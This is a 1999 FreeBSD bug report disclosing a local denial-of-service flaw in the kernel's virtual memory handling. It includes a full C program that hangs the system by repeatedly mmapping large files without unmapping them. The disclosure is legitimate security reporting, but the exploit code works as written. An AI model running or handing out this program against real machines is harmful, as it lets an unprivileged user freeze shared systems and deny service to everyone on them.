From owner-freebsd-bugs  Sat Oct 30 16:10:10 1999
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Date: Sat, 30 Oct 1999 16:00:45 -0700 (PDT)
From: sobomax@altavista.net
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Subject: kern/14614: VM DoS attack (with exploit attached)
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>Number:         14614
>Category:       kern
>Synopsis:       VM DoS attack (with exploit attached)
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sat Oct 30 16:10:00 PDT 1999
>Closed-Date:
>Last-Modified:
>Originator:     Maxim Sobolev
>Release:        4.0-CURRENT, 3.3-STABLE
>Organization:
Vega International Capital
>Environment:
>Description:
Any unpriveleged user with shell access and 10-20MB of disk quiota
can hang FreeBSD machine using following program. This program is simply 
mmap'ing large files without unmap'ing them. I have not found a way to
prevent this attack neither using disk quotas nor using memory limits in
login.conf.

I'm personally tested it works on 4.0, however others reports that 3.3
is also affected.
>How-To-Repeat:
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

main()
{
    int fd;
    int i;
    int len=1024*1024*10;  /*ie 10Mbytes*/
    caddr_t addr;
    char ttt[80];

    for (i=0;;i++)
    {
    sprintf (ttt,"%d",i);
    fd=open(ttt,O_CREAT|O_RDWR,0666);
    if (fd<0)
    {
        printf("open error %ld\n",errno);
        exit(1);
    }
    lseek(fd,len-1,SEEK_SET);
    write(fd,"",1);
    addr=mmap(0,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
    if (addr==MAP_FAILED)
    {
        printf("mmap error %ld",errno);
        exit(1);
    }
    close(fd);
    memset(addr,'x',len);
    }
}

>Fix:


>Release-Note:
>Audit-Trail:
>Unformatted:


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